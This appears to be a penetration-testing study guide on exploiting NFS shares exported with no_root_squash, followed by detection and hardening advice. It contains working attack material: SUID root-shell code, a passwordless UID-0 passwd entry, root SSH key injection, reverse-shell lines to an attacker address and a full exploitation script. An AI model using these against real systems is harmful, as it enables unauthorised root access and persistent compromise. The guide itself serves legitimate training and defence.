NFS Root Squashing
Table of Contents
- How NFS Works
- /etc/exports File Format
- Root Squashing Explained
- Why no_root_squash Is Critical
- Enumerating NFS Shares
- Mounting NFS Shares
- Exploitation Walkthrough
- Alternative: Writing to /etc/passwd
- Alternative: Modifying Scripts
- NFS File Ownership Mapping
- Complete Attack Chain
- Detection
- Mitigation
- Related: CIFS/SMB Shares
- Exploitation Decision Tree
- OSCP Exam Tips
How NFS Works
Overview
Network File System (NFS) is a distributed file system protocol that allows a client to mount and access files on a remote server over a network, as if they were local.
Architecture
┌─────────────────┐ ┌─────────────────┐
│ NFS Client │ │ NFS Server │
│ │ │ │
│ User Process │── RPC ──────▶│ Portmapper │
│ (read/write) │ │ (port 111) │
│ │◀── RPC ──────│ │
│ NFS Mount │── NFS ──────▶│ NFS Daemon │
│ Client │ (port 2049) │ (mountd) │
│ │ │ │
│ /mnt/share ────│──────────────│── /exported/dir │
└─────────────────┘ └─────────────────┘
Key Components
| Component | Port | Description |
|---|---|---|
| Portmapper (rpcbind) | 111 | Maps RPC programs to port numbers |
| NFS Daemon | 2049 | Handles NFS requests |
| Mount Daemon (mountd) | Dynamic | Handles mount requests |
| NLM (Lock Manager) | Dynamic | Manages file locks |
| RQUOTAD | Dynamic | Manages disk quotas |
NFS Protocol Versions
| Version | Features | Security |
|---|---|---|
| NFSv2 | Original, UDP only | No encryption |
| NFSv3 | Larger files, async writes | No encryption |
| NFSv4 | Stateful, TCP, Kerberos | Optional encryption |
The NFS Request Flow
1. Client wants to access /mnt/share/file.txt
2. Client's NFS daemon sends RPC request to server
3. Server's portmapper directs to NFS daemon
4. NFS daemon checks /etc/exports for access rules
5. Server maps client UID/GID (root squashing happens here)
6. Server performs the operation with mapped credentials
7. Result returned to client
/etc/exports File Format
Location and Purpose
The /etc/exports file on the NFS server defines which directories are shared, with whom, and under what conditions.
Basic Syntax
<directory> <client1>(options) <client2>(options) ...
# Examples:
/home 192.168.1.0/24(rw,sync,no_root_squash)
/var/backups 10.0.0.0/8(ro,sync,root_squash)
/opt/share *(ro,sync,all_squash)
Complete Options Reference
| Option | Description | Default | Security Impact |
|---|---|---|---|
ro |
Read-only access | - | Secure |
rw |
Read-write access | - | Requires care |
root_squash |
Map root to anonymous UID/GID | Default | Secure |
no_root_squash |
Allow root to act as root | - | DANGEROUS |
all_squash |
Map all UIDs to anonymous | - | Very secure |
no_all_squash |
Don’t squash non-root UIDs | Default | Normal |
anonuid |
UID for anonymous user | 65534 | Configurable |
anongid |
GID for anonymous group | 65534 | Configurable |
sync |
Write changes before responding | Recommended | Safe |
async |
Don’t wait for writes | Faster | Risk of data loss |
subtree_check |
Verify files in exported tree | Default | Slower |
no_subtree_check |
Skip subtree verification | - | Faster |
sec=sys |
Unix authentication | Default | Basic |
sec=krb5 |
Kerberos authentication | - | Secure |
Example /etc/exports
# /etc/exports on NFS server
# Share /home with read-write, NO root squashing (DANGEROUS!)
/home 10.10.10.0/24(rw,sync,no_root_squash)
# Share /var/backups read-only with root squashing (SAFE)
/var/backups 10.10.10.0/24(ro,sync,root_squash)
# Share /opt with everyone, all users squashed (VERY SAFE)
/opt/share *(ro,sync,all_squash,anonuid=65534,anongid=65534)
# Share /tmp with specific host, no root squash
/tmp 10.10.14.5(rw,sync,no_root_squash,no_subtree_check)
Root Squashing Explained
What Is Root Squashing?
Root squashing is an NFS security feature that maps the root user (UID 0) from the client to an anonymous, unprivileged UID/GID on the server. This prevents a root user on the client from having root-level access to the NFS share on the server.
Root Squashing Options
┌─────────────────┬────────────────────────────────────────────────────┐
│ Option │ Behavior │
├─────────────────┼────────────────────────────────────────────────────┤
│ root_squash │ root (UID 0) → anonymous (nobody, UID 65534) │
│ │ This is the DEFAULT and RECOMMENDED setting │
├─────────────────┼────────────────────────────────────────────────────┤
│ no_root_squash │ root (UID 0) → root (UID 0) │
│ │ Client root retains FULL root access on server │
│ │ ⚠️ CRITICAL SECURITY RISK │
├─────────────────┼────────────────────────────────────────────────────┤
│ all_squash │ ALL UIDs → anonymous (nobody, UID 65534) │
│ │ Every user, including root, is squashed │
│ │ Most restrictive option │
├─────────────────┼────────────────────────────────────────────────────┤
│ anonuid/anongid │ Custom UID/GID for squashed users │
│ │ e.g., anonuid=1000,anongid=1000 │
│ │ Maps squashed users to specific account │
└─────────────────┴────────────────────────────────────────────────────┘
Visual Comparison
Scenario 1: root_squash (DEFAULT, SAFE)
═══════════════════════════════════════
Client: Server:
┌──────────┐ ┌──────────────┐
│ User: root│ │ NFS Share: │
│ UID: 0 │── Request ──▶│ /home/share │
│ │ │ │
│ │◀── Response ─│ Mapped to: │
│ │ │ UID: 65534 │
│ │ │ (nobody) │
│ │ │ Limited! │
└──────────┘ └──────────────┘
Result: Client root has LIMITED access
Scenario 2: no_root_squash (DANGEROUS!)
═══════════════════════════════════════
Client: Server:
┌──────────┐ ┌──────────────┐
│ User: root│ │ NFS Share: │
│ UID: 0 │── Request ──▶│ /home/share │
│ │ │ │
│ │◀── Response ─│ Mapped to: │
│ │ │ UID: 0 │
│ │ │ (root!) │
│ │ │ FULL ACCESS! │
└──────────┘ └──────────────┘
Result: Client root has FULL ROOT access on server!
UID Mapping Table
| Client UID | root_squash | no_root_squash | all_squash |
|---|---|---|---|
| 0 (root) | 65534 (nobody) | 0 (root) | 65534 (nobody) |
| 1000 (user) | 1000 (user) | 1000 (user) | 65534 (nobody) |
| 1001 (user2) | 1001 (user2) | 1001 (user2) | 65534 (nobody) |
| 65534 (nobody) | 65534 (nobody) | 65534 (nobody) | 65534 (nobody) |
Why no_root_squash Is Critical
The Vulnerability
When no_root_squash is set, a root user on the NFS client can:
- Create files as root on the NFS server
- Modify any file in the shared directory as root
- Execute SUID binaries that run as root on the server
- Write to system files if the share includes sensitive paths
- Install backdoors that persist on the server
Attack Surface
no_root_squash enables:
1. SUID Binary Planting
└─ Create SUID binary on share → Runs as root on server
2. System File Modification
└─ If /etc/ is shared → Modify passwd, shadow, sudoers
3. Script Injection
└─ If scripts directory is shared → Modify cron/scripts
4. SSH Key Injection
└─ If /root/.ssh/ is accessible → Add attacker's public key
5. Malicious Library Injection
└─ If /usr/lib/ is shared → Plant malicious .so files
Real-World Impact
Before no_root_squash exploitation:
Attacker: Low-privilege user on client
Server: NFS server with no_root_squash share
After exploitation:
Attacker: ROOT access on NFS server
Impact: Complete server compromise
Enumerating NFS Shares
From the Attacker Machine (External)
# ============================================
# 1. Discover NFS Server
# ============================================
# Nmap scan for NFS services
nmap -p 111,2049 <target_ip>
nmap -p 111 --script nfs-showmount <target_ip>
nmap -p 111 --script nfs-ls,nfs-statfs,nfs-showmount <target_ip>
# ============================================
# 2. List Available Shares
# ============================================
# showmount -e: List exported shares
showmount -e <target_ip>
# Example output:
# Export list for 10.10.10.10:
# /home 10.10.10.0/24
# /var/backups 10.10.10.0/24
# /tmp 10.10.14.5
# ============================================
# 3. Show Mount Information
# ============================================
# showmount -a: Show current mounts
showmount -a <target_ip>
# Example output:
# Client Dir
# 10.10.14.5 /home
# ============================================
# 4. Portmapper Information
# ============================================
# rpcinfo: Query RPC services
rpcinfo -p <target_ip>
# Example output:
# program vers proto port service
# 100000 4 tcp 111 portmapper
# 100000 4 udp 111 portmapper
# 100003 3 tcp 2049 nfs
# 100003 4 tcp 2049 nfs
# 100005 3 tcp 2635 mountd
From the Target Machine (Internal)
# ============================================
# 1. Check if NFS is running
# ============================================
# Check NFS services
systemctl status nfs-server
systemctl status nfs-mountd
systemctl status rpcbind
# Check listening ports
ss -tulnp | grep -E '111|2049'
netstat -tulnp | grep -E '111|2049'
# ============================================
# 2. Read /etc/exports
# ============================================
cat /etc/exports
# Look for no_root_squash:
grep -i 'no_root_squash' /etc/exports
# ============================================
# 3. Check mounted NFS shares
# ============================================
mount | grep nfs
df -h | grep nfs
findmnt -t nfs
# ============================================
# 4. Check NFS exports on this machine
# ============================================
exportfs -v
# Shows all exports with their options
exportfs -s
# Summarize exports
# ============================================
# 5. Check for writable NFS mounts
# ============================================
mount | grep nfs | while read line; do
mountpoint=$(echo "$line" | awk '{print $3}')
if echo "$line" | grep -q 'rw'; then
echo "[!] Writable NFS mount: $mountpoint"
ls -la "$mountpoint"
fi
done
Enumeration Summary Table
| Command | Purpose | Run From |
|---|---|---|
showmount -e <ip> |
List exported shares | Attacker |
showmount -a <ip> |
Show current mounts | Attacker |
rpcinfo -p <ip> |
Query RPC services | Attacker |
nmap --script nfs-* <ip> |
NFS enumeration | Attacker |
cat /etc/exports |
Read export config | Target |
exportfs -v |
List exports with options | Target |
mount | grep nfs |
Check mounted NFS | Target |
grep no_root_squash /etc/exports |
Find vulnerable exports | Target |
Mounting NFS Shares
From Attacker Machine
# ============================================
# 1. Install NFS utilities (if needed)
# ============================================
sudo apt install nfs-common # Debian/Ubuntu/Kali
sudo yum install nfs-utils # RHEL/CentOS
# ============================================
# 2. Create mount point
# ============================================
mkdir -p /mnt/nfs_share
# ============================================
# 3. Mount the NFS share
# ============================================
# Basic mount
mount -t nfs <target_ip>:/home /mnt/nfs_share
# With specific options
mount -t nfs -o rw,sync <target_ip>:/home /mnt/nfs_share
# NFSv4 mount
mount -t nfs4 <target_ip>:/home /mnt/nfs_share
# ============================================
# 4. Verify mount
# ============================================
mount | grep nfs
df -h | grep nfs
ls -la /mnt/nfs_share/
# ============================================
# 5. Test write access
# ============================================
touch /mnt/nfs_share/test_file
ls -la /mnt/nfs_share/test_file
# Check ownership - if you're root and no_root_squash is set,
# the file will be owned by root (UID 0)
From Target Machine
# If the target is also an NFS client mounting from another server:
# Mount share
mount -t nfs 10.10.10.20:/shared /mnt/remote_share
# Check if mounted with no_root_squash
mount | grep nfs
# Look for 'rw' and check file ownership
# Test: Create file as root
touch /mnt/remote_share/test
ls -la /mnt/remote_share/test
# If owned by root (UID 0) → no_root_squash is active
Auto-Mount via /etc/fstab
# Persistent mount (for persistence after exploitation)
echo '<target_ip>:/home /mnt/nfs_share nfs rw,sync 0 0' >> /etc/fstab
# Mount all entries
mount -a
Exploitation Walkthrough
Scenario
- Target: 10.10.10.10 (NFS server)
- Attacker: 10.10.14.5 (Kali Linux)
- Vulnerable Export:
/homeshared withno_root_squash - Goal: Gain root access on the NFS server
Step-by-Step Exploitation
Step 1: Enumerate NFS Shares
# On Kali (attacker machine)
showmount -e 10.10.10.10
# Output:
# Export list for 10.10.10.10:
# /home 10.10.10.0/24
Step 2: Mount the NFS Share
# Create mount point
mkdir -p /mnt/nfs
# Mount the share
mount -t nfs 10.10.10.10:/home /mnt/nfs
# Verify
mount | grep nfs
# /dev/nfs on /mnt/nfs type nfs (rw,relatime,...)
Step 3: Create a SUID Binary
# Method 1: Compile a C SUID binary
cat > /tmp/suidroot.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash -i");
return 0;
}
EOF
# Compile
gcc -o /mnt/nfs/suidroot /tmp/suidroot.c
# Method 2: Copy an existing binary
cp /bin/bash /mnt/nfs/bash_backdoor
# Method 3: Use Python (no compilation needed)
cat > /mnt/nfs/getroot.py << 'EOF'
#!/usr/bin/env python3
import os, pty
os.setuid(0)
os.setgid(0)
pty.spawn('/bin/bash')
EOF
Step 4: Set SUID Bit
# Because no_root_squash is set, we can set SUID as root!
chmod 4755 /mnt/nfs/suidroot
chmod 4755 /mnt/nfs/bash_backdoor
chmod 755 /mnt/nfs/getroot.py
# Verify
ls -la /mnt/nfs/suidroot
# -rwsr-xr-x 1 root root ... suidroot
# ^^^ SUID bit is set, owned by root!
Step 5: Execute on Target
# Now SSH to the target (or use existing shell)
ssh user@10.10.10.10
# On the target, find and execute the SUID binary
find /home -perm -4000 -type f 2>/dev/null
# /home/suidroot
# Execute it
/home/suidroot
# or
/home/bash_backdoor -p
# You now have a root shell!
id
# uid=0(root) gid=0(root)
Step 6: Verify Root Access
whoami
# root
cat /etc/shadow
# Full access to shadow file
ls -la /root/
# Can access root's home directory
Visual Attack Flow
┌──────────────┐ ┌──────────────┐
│ Attacker │ │ NFS Server │
│ (Kali) │ │ (Target) │
│ │ │ │
│ 1. showmount │────────▶│ /etc/exports│
│ -e target │ │ no_root_ │
│ │ │ squash │
│ │ │ │
│ 2. mount │────────▶│ /home │
│ nfs share │ │ (mounted) │
│ │ │ │
│ 3. Compile │ │ │
│ SUID bin │ │ │
│ │ │ │
│ 4. chmod 4755│────────▶│ File saved │
│ │ │ as ROOT │
│ │ │ │
│ 5. SSH to │────────▶│ Execute │
│ target │ │ /home/ │
│ │ │ suidroot │
│ │◀────────│ ROOT SHELL! │
└──────────────┘ └──────────────┘
Alternative: Writing to /etc/passwd
Scenario
The NFS share includes a path that allows writing to system files, or the shared directory is / or /etc.
Exploitation
# Mount the NFS share
mount -t nfs 10.10.10.10:/etc /mnt/nfs_etc
# Method 1: Add a root user to /etc/passwd
echo 'backdoor::0:0::/root:/bin/bash' >> /mnt/nfs_etc/passwd
# Method 2: Modify existing user to UID 0
# First, find a user
cat /mnt/nfs_etc/passwd
# Modify their UID to 0
sed -i 's/^www-data:.*/www-data:x:0:0:www-data:\/var\/www:\/bin\/bash/' /mnt/nfs_etc/passwd
# Method 3: Add password hash to /etc/shadow
# Generate hash
openssl passwd -1 -salt "salt" "password123"
# Output: $1$salt$hashvalue
# Write to shadow
echo "backdoor:\$1\$salt\$hashvalue:19000:0:99999:7:::" >> /mnt/nfs_etc/shadow
Switch to Root
# On the target
su - backdoor
# No password needed (empty password field in /etc/passwd)
# Or use the password if you set one in /etc/shadow
id
# uid=0(root) gid=0(root)
Alternative: Modifying Scripts
Scenario
The NFS share contains scripts that are executed by root (e.g., cron jobs, startup scripts).
Exploitation
# Mount the share
mount -t nfs 10.10.10.10:/opt/scripts /mnt/nfs_scripts
# List scripts
ls -la /mnt/nfs_scripts/
# -rwxr-xr-x 1 root root backup.sh
# -rwxr-xr-x 1 root root cleanup.sh
# Modify a script
cat > /mnt/nfs_scripts/backup.sh << 'EOF'
#!/bin/bash
# Original backup functionality
tar czf /backup/data.tar.gz /data
# Malicious addition
bash -i >& /dev/tcp/10.10.14.5/9001 0>&1
EOF
# Or append to preserve original functionality
echo 'bash -i >& /dev/tcp/10.10.14.5/9001 0>&1' >> /mnt/nfs_scripts/backup.sh
# Set up listener on attacker
rlwrap nc -lnvp 9001
# Wait for the script to be executed by root
# (check cron schedule or trigger manually if possible)
SSH Key Injection
# If /home or /root is NFS-mounted with no_root_squash
mount -t nfs 10.10.10.10:/root /mnt/nfs_root
# Create .ssh directory if needed
mkdir -p /mnt/nfs_root/.ssh
chmod 700 /mnt/nfs_root/.ssh
# Add your public key
cat ~/.ssh/id_rsa.pub >> /mnt/nfs_root/.ssh/authorized_keys
chmod 600 /mnt/nfs_root/.ssh/authorized_keys
# Now SSH as root
ssh root@10.10.10.10
NFS File Ownership Mapping
How Ownership Works
When you create a file on an NFS mount, the ownership depends on the squashing settings:
With root_squash (DEFAULT):
┌─────────────────────────────────────────────┐
│ Client creates file as root (UID 0) │
│ Server maps UID 0 → UID 65534 (nobody) │
│ File on server is owned by: nobody:nogroup │
│ Cannot set SUID (nobody can't set SUID) │
└─────────────────────────────────────────────┘
With no_root_squash (VULNERABLE):
┌─────────────────────────────────────────────┐
│ Client creates file as root (UID 0) │
│ Server maps UID 0 → UID 0 (root) │
│ File on server is owned by: root:root │
│ CAN set SUID (root can set SUID) │
│ SUID binary runs as ROOT on server │
└─────────────────────────────────────────────┘
Testing Ownership Mapping
# Mount NFS share
mount -t nfs 10.10.10.10:/home /mnt/nfs
# Create a test file as root
touch /mnt/nfs/test_ownership
# Check ownership
ls -la /mnt/nfs/test_ownership
# If output shows:
# -rw-r--r-- 1 root root ... test_ownership
# → no_root_squash is active! (VULNERABLE)
# If output shows:
# -rw-r--r-- 1 nobody nogroup ... test_ownership
# → root_squash is active (SAFE)
UID/GID Mapping Table
| Setting | Client UID | Server UID | Can Set SUID? |
|---|---|---|---|
root_squash |
0 (root) | 65534 (nobody) | No |
no_root_squash |
0 (root) | 0 (root) | Yes |
all_squash |
Any | 65534 (nobody) | No |
anonuid=1000 |
Any | 1000 (custom) | Depends |
Complete Attack Chain
Full Exploitation Script
#!/bin/bash
# NFS Privilege Escalation Script
# Usage: ./nfs_privesc.sh <target_ip> <share_path>
TARGET_IP=$1
SHARE_PATH=$2
ATTACKER_IP="10.10.14.5"
if [ -z "$TARGET_IP" ] || [ -z "$SHARE_PATH" ]; then
echo "Usage: $0 <target_ip> <share_path>"
echo "Example: $0 10.10.10.10 /home"
exit 1
fi
echo "=== NFS Privilege Escalation ==="
echo "Target: $TARGET_IP"
echo "Share: $SHARE_PATH"
echo ""
# Step 1: Enumerate
echo "[*] Step 1: Enumerating NFS shares..."
showmount -e "$TARGET_IP"
echo ""
# Step 2: Mount
echo "[*] Step 2: Mounting NFS share..."
MOUNT_POINT="/mnt/nfs_exploit"
mkdir -p "$MOUNT_POINT"
mount -t nfs "$TARGET_IP":"$SHARE_PATH" "$MOUNT_POINT"
if [ $? -ne 0 ]; then
echo "[-] Failed to mount NFS share"
exit 1
fi
echo "[+] Mounted $TARGET_IP:$SHARE_PATH at $MOUNT_POINT"
echo ""
# Step 3: Test ownership
echo "[*] Step 3: Testing file ownership mapping..."
touch "$MOUNT_POINT/.nfs_test"
TEST_OWNER=$(ls -la "$MOUNT_POINT/.nfs_test" | awk '{print $3}')
rm -f "$MOUNT_POINT/.nfs_test"
if [ "$TEST_OWNER" = "root" ]; then
echo "[+] CONFIRMED: no_root_squash is active!"
echo "[+] Files created as root will be owned by root on server"
else
echo "[-] File owned by: $TEST_OWNER"
echo "[-] no_root_squash may not be active"
fi
echo ""
# Step 4: Create SUID binary
echo "[*] Step 4: Creating SUID binary..."
cat > /tmp/suidroot.c << 'CEOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash -i");
}
CEOF
gcc -o "$MOUNT_POINT/suidroot" /tmp/suidroot.c 2>/dev/null
if [ $? -ne 0 ]; then
echo "[-] GCC not available, copying /bin/bash instead..."
cp /bin/bash "$MOUNT_POINT/bash_backdoor"
chmod 4755 "$MOUNT_POINT/bash_backdoor"
BACKDOOR="$MOUNT_POINT/bash_backdoor"
else
chmod 4755 "$MOUNT_POINT/suidroot"
BACKDOOR="$MOUNT_POINT/suidroot"
fi
echo "[+] SUID binary created at: $BACKDOOR"
ls -la "$BACKDOOR"
echo ""
# Step 5: Instructions
echo "=== Next Steps ==="
echo "1. SSH to the target: ssh user@$TARGET_IP"
echo "2. Find the SUID binary: find $SHARE_PATH -perm -4000 -type f"
echo "3. Execute it: $SHARE_PATH/$(basename $BACKDOOR)"
echo "4. You should have a root shell!"
echo ""
echo "=== Alternative: Reverse Shell ==="
echo "If you can't SSH, add a reverse shell script:"
echo "echo '#!/bin/bash' > $MOUNT_POINT/getroot.sh"
echo "echo 'bash -i >& /dev/tcp/$ATTACKER_IP/9001 0>&1' >> $MOUNT_POINT/getroot.sh"
echo "chmod +x $MOUNT_POINT/getroot.sh"
echo "Then set up listener: rlwrap nc -lnvp 9001"
Attack Chain Summary
| Step | Action | Command | Result |
|---|---|---|---|
| 1 | Enumerate shares | showmount -e <ip> |
Find NFS exports |
| 2 | Mount share | mount -t nfs <ip>:/share /mnt/nfs |
Access share locally |
| 3 | Test ownership | touch /mnt/nfs/test && ls -la |
Confirm no_root_squash |
| 4 | Create SUID binary | gcc -o /mnt/nfs/suidroot payload.c |
Plant backdoor |
| 5 | Set SUID | chmod 4755 /mnt/nfs/suidroot |
Enable SUID bit |
| 6 | Execute on target | /share/suidroot |
Get root shell |
Detection
On the NFS Server
# ============================================
# 1. Check /etc/exports
# ============================================
cat /etc/exports
grep -i 'no_root_squash' /etc/exports
# ============================================
# 2. List active exports with options
# ============================================
exportfs -v
# Example output:
# /home 10.10.10.0/24(rw,sync,wdelay,no_root_squash,no_subtree_check)
# ↑↑↑ DANGEROUS: no_root_squash is set!
# ============================================
# 3. Check for unauthorized SUID binaries
# ============================================
find /home -perm -4000 -type f 2>/dev/null
find /home -name "suidroot" -o -name "bash_backdoor" 2>/dev/null
# ============================================
# 4. Check NFS mount activity
# ============================================
showmount -a
# ============================================
# 5. Audit file changes in shared directories
# ============================================
find /home -mtime -1 -type f 2>/dev/null
# Find files modified in the last day
Automated Detection Script
#!/bin/bash
echo "=== NFS Security Audit ==="
echo ""
echo "[*] Checking /etc/exports for vulnerabilities..."
if grep -q 'no_root_squash' /etc/exports 2>/dev/null; then
echo "[!] CRITICAL: no_root_squash found in /etc/exports!"
grep 'no_root_squash' /etc/exports
else
echo "[+] no_root_squash not found in /etc/exports"
fi
echo ""
echo "[*] Active exports:"
exportfs -v 2>/dev/null
echo ""
echo "[*] Current NFS mounts:"
showmount -a 2>/dev/null
echo ""
echo "[*] SUID binaries in exported directories:"
for dir in $(awk '{print $1}' /etc/exports 2>/dev/null); do
if [ -d "$dir" ]; then
suids=$(find "$dir" -perm -4000 -type f 2>/dev/null)
if [ -n "$suids" ]; then
echo "[!] SUID binaries in $dir:"
echo "$suids"
fi
fi
done
Mitigation
Immediate Fixes
# ============================================
# 1. Remove no_root_squash
# ============================================
# Edit /etc/exports
vi /etc/exports
# Change:
# /home 10.10.10.0/24(rw,sync,no_root_squash)
# To:
# /home 10.10.10.0/24(rw,sync,root_squash)
# Or simply remove the option (root_squash is default):
# /home 10.10.10.0/24(rw,sync)
# ============================================
# 2. Reload exports
# ============================================
exportfs -ra
# ============================================
# 3. Remove unauthorized SUID binaries
# ============================================
find /home -perm -4000 -type f -exec ls -la {} \;
find /home -perm -4000 -type f -exec chmod u-s {} \;
# ============================================
# 4. Restart NFS service
# ============================================
systemctl restart nfs-server
systemctl restart nfs-mountd
Best Practices
| Practice | Description | Example |
|---|---|---|
| Always use root_squash | Default behavior, map root to nobody | /home 10.0.0.0/8(rw,sync) |
| Restrict by IP | Only allow specific clients | /home 10.10.10.50(rw,sync) |
| Use read-only when possible | Prevent writes | /home 10.0.0.0/8(ro,sync) |
| Use all_squash for public shares | Squash all users | /public *(ro,sync,all_squash) |
| Use Kerberos authentication | Secure NFSv4 | sec=krb5 |
| Monitor exports | Regular audits | exportfs -v |
| Firewall NFS ports | Limit access | iptables -A INPUT -s 10.0.0.0/8 -p tcp --dport 2049 -j ACCEPT |
| Use NFSv4 | Better security features | NFSv4 with Kerberos |
Secure /etc/exports Example
# /etc/exports - SECURE configuration
# Read-only share for all internal hosts
/home 10.10.10.0/24(ro,sync,root_squash)
# Read-write share for specific host only
/var/backups 10.10.10.50(rw,sync,root_squash,no_subtree_check)
# Public read-only share with all_squash
/public *(ro,sync,all_squash,anonuid=65534,anongid=65534)
# NFSv4 with Kerberos
/data 10.10.10.0/24(rw,sync,sec=krb5,root_squash)
Hardening Checklist
□ Remove all no_root_squash entries from /etc/exports
□ Use root_squash (default) for all shares
□ Restrict shares to specific IP addresses
□ Use read-only (ro) where write access is not needed
□ Use all_squash for public-facing shares
□ Enable NFSv4 with Kerberos authentication
□ Firewall NFS ports (111, 2049) to trusted networks only
□ Regularly audit /etc/exports and exportfs -v
□ Monitor for unauthorized SUID binaries in shared directories
□ Use async sparingly (risk of data loss)
Related: CIFS/SMB Shares
Similar Vulnerability in CIFS/SMB
CIFS/SMB shares can have similar issues when mounted with incorrect options:
# Vulnerable CIFS mount (no root squashing equivalent)
mount -t cifs //server/share /mnt/cifs -o username=admin,password=pass,rw
# The 'rw' option allows root on the client to write as root
# Similar to no_root_squash in NFS
# Check for writable CIFS mounts
mount | grep cifs
mount | grep smb
# Test ownership
touch /mnt/cifs/test
ls -la /mnt/cifs/test
# If owned by root → similar vulnerability
CIFS/SMB Enumeration
# Enumerate SMB shares
nmap -p 445 --script smb-enum-shares <target_ip>
smbclient -L //<target_ip> -N
smbclient -L //<target_ip> -U ""
# Mount SMB share
mount -t cifs //<target_ip>/share /mnt/smb -o guest
# Check for writable shares
smbclient //<target_ip>/share -N -c "ls"
Comparison: NFS vs CIFS
| Aspect | NFS | CIFS/SMB |
|---|---|---|
| Root squashing | root_squash / no_root_squash |
Mount options control |
| Default security | root_squash (safe) | Varies by mount |
| Protocol port | 2049 | 445 |
| Authentication | None, Kerberos | NTLM, Kerberos |
| Common in exams | Yes | Less common |
| Exploitation | SUID binary planting | Same technique |
Exploitation Decision Tree
Found NFS service (port 111/2049)
│
├─ Can you enumerate shares?
│ ├─ YES: showmount -e <ip>
│ └─ NO: Try nmap scripts
│
├─ Is no_root_squash set?
│ ├─ Check: cat /etc/exports (on target)
│ ├─ Check: exportfs -v (on target)
│ └─ Test: Mount and check file ownership
│
├─ no_root_squash confirmed?
│ ├─ YES → Mount share from attacker
│ │ ├─ Create SUID binary
│ │ ├─ chmod 4755
│ │ └─ Execute on target → ROOT
│ │
│ └─ NO (root_squash active)
│ ├─ Can you write to share as non-root?
│ │ ├─ YES → Modify scripts, inject code
│ │ └─ NO → Try other privesc vectors
│ └─ Check for other misconfigurations
│ ├─ Writable cron scripts on share?
│ ├─ SUID binaries already on share?
│ └─ Config files with credentials?
OSCP Exam Tips
NFS Privesc is Common and Straightforward
NFS privilege escalation is one of the most straightforward privesc vectors on OSCP exams. It’s common because:
- Easy to enumerate:
showmount -ereveals everything - Clear exploitation path: Mount → SUID binary → Root
- Often misconfigured:
no_root_squashis a common lab setup - Fast to exploit: Can be done in under 5 minutes
Essential Commands
# The 3 commands you MUST know:
showmount -e <target_ip> # List shares
mount -t nfs <ip>:/share /mnt/nfs # Mount share
getcap -r / 2>/dev/null # Also check capabilities!
# Quick ownership test:
touch /mnt/nfs/test && ls -la /mnt/nfs/test
# root:root → no_root_squash → EXPLOIT!
# nobody:nogroup → root_squash → Try other methods
Exam Checklist
□ Scan for NFS: nmap -p 111,2049 <ip>
□ Enumerate: showmount -e <ip>
□ Mount share: mount -t nfs <ip>:/share /mnt/nfs
□ Test ownership: touch /mnt/nfs/test && ls -la
□ If root-owned: Create SUID binary
□ If not root-owned: Look for writable scripts/configs
□ Check /etc/exports on target (if accessible)
□ Run: exportfs -v on target
□ Look for: no_root_squash in exports
Common OSCP NFS Scenarios
| Scenario | Share | Options | Exploitation |
|---|---|---|---|
| Classic no_root_squash | /home |
rw,no_root_squash |
SUID binary in /home |
| Writable scripts | /opt/scripts |
rw,root_squash |
Modify scripts (non-root) |
| Config exposure | /etc |
ro,no_root_squash |
Read configs, find creds |
| Full root share | / |
rw,no_root_squash |
Complete control |
| Temp directory | /tmp |
rw,no_root_squash |
SUID in /tmp |
SUID Binary Options
# Option 1: C compiler (preferred)
gcc -o /mnt/nfs/suidroot /tmp/suidroot.c
chmod 4755 /mnt/nfs/suidroot
# Option 2: Copy bash (no compilation needed)
cp /bin/bash /mnt/nfs/bash_backdoor
chmod 4755 /mnt/nfs/bash_backdoor
# Option 3: Copy python (if available on target)
cp /usr/bin/python3 /mnt/nfs/py_backdoor
chmod 4755 /mnt/nfs/py_backdoor
# On target: /mnt/nfs/py_backdoor -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Option 4: Reverse shell script
cat > /mnt/nfs/getroot.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/9001 0>&1
EOF
chmod +x /mnt/nfs/getroot.sh
Troubleshooting
# Mount fails?
# Check if nfs-common is installed
dpkg -l | grep nfs-common
apt install nfs-common
# Permission denied on mount?
# Try with specific options
mount -t nfs -o rw,nosuid,noexec,nodev <ip>:/share /mnt/nfs
# Can't set SUID?
# Check if filesystem allows SUID
mount | grep nosuid
# If nosuid is set, SUID won't work
# GCC not available?
# Use cp /bin/bash instead of compiling
Remember
“When you see port 111 or 2049 open, immediately run
showmount -e. If you see a share, mount it and check if files are owned by root. If yes, you have a root shell in 3 commands.”
NFS vs Other Privesc Vectors
| Vector | Difficulty | Speed | Reliability |
|---|---|---|---|
| NFS no_root_squash | ⭐ Easy | ⚡ Fast | ✅ Very reliable |
| SUID binary | ⭐⭐ Medium | ⚡ Fast | ✅ Reliable |
| Capabilities | ⭐⭐ Medium | ⚡ Fast | ✅ Reliable |
| Cron jobs | ⭐⭐ Medium | 🐌 Wait time | ✅ Reliable |
| Sudo misconfig | ⭐ Easy | ⚡ Fast | ✅ Very reliable |
| Kernel exploit | ⭐⭐⭐ Hard | ⚡ Fast | ⚠️ May crash |
NFS with no_root_squash is consistently one of the easiest and most reliable privilege escalation vectors on OSCP exams. Always check for it!